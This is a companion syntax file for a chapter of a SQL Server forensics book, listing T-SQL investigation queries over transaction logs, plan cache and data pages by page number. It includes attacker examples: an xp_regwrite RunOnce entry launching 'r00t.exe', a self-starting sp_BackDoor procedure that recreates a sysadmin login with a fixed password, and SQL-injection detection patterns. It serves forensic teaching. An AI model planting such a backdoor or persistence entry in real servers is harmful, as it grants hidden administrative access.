**********************************************************************
Chapter 9 – Referenced syntax
**********************************************************************

SQL Server Forensic Analysis (SSFA)
by Kevvie Fowler 
ISBN: 0321544366
Copyright Pearson Education Inc. 2008


SSFA is an interactive book and if you are following along with chapter examples you can copy and paste the syntax found within this file to your local SQL Server instance. This will simplify your navigation of chapter examples.
---------


Page 276

Use Inv_307_Analysis
SELECT pm.[Database], pm.Object as 'Table', COUNT(pg.Page_ID) as 'Pages Read',
SUM(pg.row_count) as 'Est. Records Read' from DCHE_Pages PG, DCHE_PageMap PM where
pg.database_id = pm.databaseid and pg.file_id = pm.PageFID and pg.page_id = pm.pagePID
GROUP BY PM.[Database], PM.[Object] ORDER BY PM.[Database], PM.[Object]

Page 279

--Declare variables
declare @begintime datetime
declare @endtime datetime
declare @object varchar(50)
--
--Assign values
select @begintime = convert(datetime,'2008-07-30 00:00')
select @endtime = convert(datetime,'2008-07-31 00:00')
select @object = '%SELECT%'
--
--Execute query
EXEC ('SELECT * from PLCH_Data WHERE [statement] LIKE ''%' + @object + '%'' AND CAST
([creation_time] AS DATETIME) >= ''' + @begintime + ''' AND CAST ([creation_time] AS
DATETIME) < ''' + @endtime + ''' OR [statement] LIKE ''%' + @object + '%'' AND CAST
([last_execution_time] AS DATETIME) >= ''' + @begintime + ''' AND CAST
([last_execution_time] AS DATETIME) < ''' + @endtime + ''' ORDER BY
last_execution_time')

Page 284

-- Source: SQL Server Forensic Analysis
-- Author: Kevvie Fowler
-- Script: Summary of Active VLF Operations
--
-- Summary 1: Datbase operations by begin time, transaction ID, user, and type
SELECT tlg.Spid, tlg.[Transaction ID], CASE WHEN (select name from LOGN_SQL lgn where
RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID])) IS NULL AND (select name from dbse_prin
lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID])) IS NULL THEN '[Unknown SID]: '
+ [Transaction SID] ELSE CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID)
= RTRIM(tlg.[Transaction SID])) IS NOT NULL THEN 'login: ' + upper((select name from
LOGN_SQL lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID]))) ELSE 'db user: ' +
upper((select name from dbse_prin lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction
SID]))) END END as 'Login_or_User', tlg.[Transaction Name] as 'Transaction Type',
tlg.[Begin Time] from AVLF_TLOG tlg where tlg.[Transaction Name] IN ('INSERT', 'UPDATE',
'DELETE') ORDER BY [Begin Time] DESC, [TransAction ID], USER, [Transaction Type]
--
-- Summary 2: Datbase operations by operation and object
SELECT AllocUnitName as 'Object', Operation, COUNT(OPERATION) AS 'Count' from avlf_TLOG
WHERE OPERATION IN ('LOP_INSERT_ROWS', 'LOP_MODIFY_ROW', 'LOP_DELETE_ROWs') and
AllocUnitName NOT Like 'sys.%' GROUP BY Operation, AllocUnitName

Page 289

USE INV_307_Analysis
SELECT obj.[database], Obj.object_id, obj.name as 'object_name', sch.name as
'object_schema', obj.type_desc as 'object_type' FROM DOBJ_Data OBJ, SCHM_Data SCH where
obj.[database] = sch.[database] and obj.[database] = 'ssfa' and
RTRIM(LTRIM(obj.object_ID)) = '2073058421' and obj.schema_id = sch.schema_id

Page 290

USE INV_307_Analysis
SELECT cdt.colorder, cdt.name, st.name as 'datatype', cdt.length FROM CLDT_Data cdt,
systypes st
WHERE cdt.xusertype = st.xusertype and CONVERT(int, cdt.id) = 2073058421
ORDER BY colorder

Page 296

DECLARE @TRANS [VARCHAR] (15)
SET @TRANS = '0000:00000304'
SELECT CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID) =
RTRIM(tlg.[Transaction SID])) IS NULL AND (select name from dbse_prin lgn where
RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID])) IS NULL THEN '[Unknown SID]: ' +
[Transaction SID] ELSE CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID) =
RTRIM(tlg.[Transaction SID])) IS NOT NULL THEN 'login: ' + upper((select name from
LOGN_SQL lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID]))) ELSE 'db user: ' +
upper((select name from dbse_prin lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction
SID]))) END END as 'Login_or_User', tlg.[Transaction Id], tlg.[Transaction Name] as
'Transaction Type', tlg.[Begin Time] from AVLF_TLOG tlg, LOGN_SQL where
tlg.[transaction id] = @TRANS and tlg.[Transaction SID] = LOGN_SQL.SID

Page 305

DECLARE @TRANS [VARCHAR] (15)
SET @TRANS = '0000:00000423'
SELECT CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID) =
RTRIM(tlg.[Transaction SID])) IS NULL AND (select name from dbse_prin lgn where
RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID])) IS NULL THEN '[Unknown SID]: ' +
[Transaction SID] ELSE CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID) =
RTRIM(tlg.[Transaction SID])) IS NOT NULL THEN 'login: ' + upper((select name from
LOGN_SQL lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID]))) ELSE 'db user: ' +
upper((select name from dbse_prin lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction
SID]))) END END as 'Login_or_User', tlg.[Transaction Id], tlg.[Transaction Name] as
'Transaction Type', tlg.[Begin Time] from AVLF_TLOG tlg, LOGN_SQL where
tlg.[transaction id] = @TRANS and tlg.[Transaction SID] = LOGN_SQL.SID

Page 320

xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='Software\Microsoft\Windows\CurrentVersion\RunOnce',
@value_name='r00t',
@type='REG_SZ',
@value='!C:\Windows\inf\r00t.exe'

Page 328

USE INV_307_Analysis
SELECT * FROM WBLF_Site1 WHERE
[cs-uri-query] LIKE '%''%' -- ' | Single quote (text)
OR [cs-uri-query] LIKE '%[%]27%' -- % | Single quote (hex)
OR [cs-uri-query] LIKE '%"%' -- " | Double quote (text)
OR [cs-uri-query] LIKE '%[%]22%' -- " | Double quote (hex)
OR [cs-uri-query] LIKE '%OR%' -- OR | OR operator (upper/lower case or combination
of the two - text)
OR [cs-uri-query] LIKE '%[%]4F52%' -- OR | OR operator (upper case – hex)
OR [cs-uri-query] LIKE '%[%]6F72%' -- or | OR operator (lower case - hex)
OR [cs-uri-query] LIKE '%4F72%' -- Or | OR operator (upper case O lower case r - hex)
OR [cs-uri-query] LIKE '%6F52%' -- oR | OR operator (lower case O upper case R - hex)
OR [cs-uri-query] LIKE '%=%' -- = | Equals sign (text)
OR [cs-uri-query] LIKE '%[%]3D%' -- = | Equals sign (hex)

Page 330

USE INV_307_Analysis
SELECT * FROM PLCH_Data where statement like '%=%''' -- Looks for any_string = single
or double quote
or statement like '%=%''%UNION' -- looks for any_string = single or double quote
followed by any_string followed by UNION operator
or statement like '%=%''%--%' -- looks for any_string = single or double quote followed
by any_string followed by double dash or statement like '%=%''%SELECT' -- looks for any_string = single or double quote
followed by SELECT statement

Page 335

CREATE PROCEDURE sp_BackDoor
AS
--
--Ensure stored procedure is set to auto-execute
exec sp_procoption sp_backdoor,'startup',true
--
--Create the EASYACCESS login if it no longer exists on the server
if not exists (select [name] from master..syslogins where [name] = 'EASYACCESS')
BEGIN
exec sp_addlogin 'EASYACCESS', '8aFQ5d%8od', 'SSFA';
--
--Add the EASYACCESS login to the sysadmin group
exec sp_addsrvrolemember 'EASYACCESS', 'sysadmin'
END

Page 348

SELECT CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID) =
RTRIM(tlg.[Transaction SID])) IS NULL AND (select name from dbse_prin lgn where
RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID])) IS NULL THEN '[Unknown SID]: ' +
[Transaction SID] ELSE CASE WHEN (select name from LOGN_SQL lgn where RTRIM(lgn.SID) =
RTRIM(tlg.[Transaction SID])) IS NOT NULL THEN 'login: ' + upper((select name from
LOGN_SQL lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction SID]))) ELSE 'db user: ' +
upper((select name from dbse_prin lgn where RTRIM(lgn.SID) = RTRIM(tlg.[Transaction
SID]))) END END as 'Login_or_User', tlg.[Transaction Id], tlg.[Transaction Name] as
'Transaction Type', tlg.[Begin Time] from AVLF_TLOG tlg, LOGN_SQL where
tlg.[transaction id] = @TRANS and tlg.[Transaction SID] = LOGN_SQL.SID

Page 350

SELECT TBST_HSTBCL1.Range_hi_key as 'Modified or deleted values'
FROM TBST_HSTBCL1 LEFT OUTER JOIN TBST_HSTCCL1 ON TBST_HSTBCL1.Range_hi_key =
TBST_HSTCCL1.Value
where TBST_HSTCCL1.Value is null

Page 352

Use INV_307_Analysis
CREATE TABLE [dbo].[KnownGood_DB](
[pageID] [int] IDENTITY(0,1) NOT NULL,
[data] [varbinary](max) NOT NULL,
[checksum] [varchar](100) NULL)
CREATE TABLE [dbo].[Victim_DB](
[pageID] [int] IDENTITY(0,1) NOT NULL,
[data] [varbinary](max) NOT NULL,
[checksum] [varchar](100) NULL)

Page 353

BULK INSERT table_name
from 'path_and_name_of_datafile'
WITH (
BATCHSIZE = 1000,
CODEPAGE = 'raw',
DATAFILETYPE = 'native',
ORDER(pageID),
TABLOCK,
FORMATFILE = 'path_and_name_of_formatfile'
)

Page 355

select pageid, charindex
(0x300008005f0000000400f003001900200024004e69636f6c65456d616e75656c31393136, data)as
'known_good_pg_offset' from knowngood_db where charindex
(0x30000800CB0000000400F003001A00200024004D69636861656C4B616D616C6931393839, data) > 1
select pageid, charindex
(0x300008005f0000000400f003001900200024004e69636f6c65456d616e75656c31393136, data) as
'victim_pg_offset' from victim_db where charindex
(0x30000800CB0000000400F003001A00200024004D69636861656C4B616D616C6931393839, data) > 1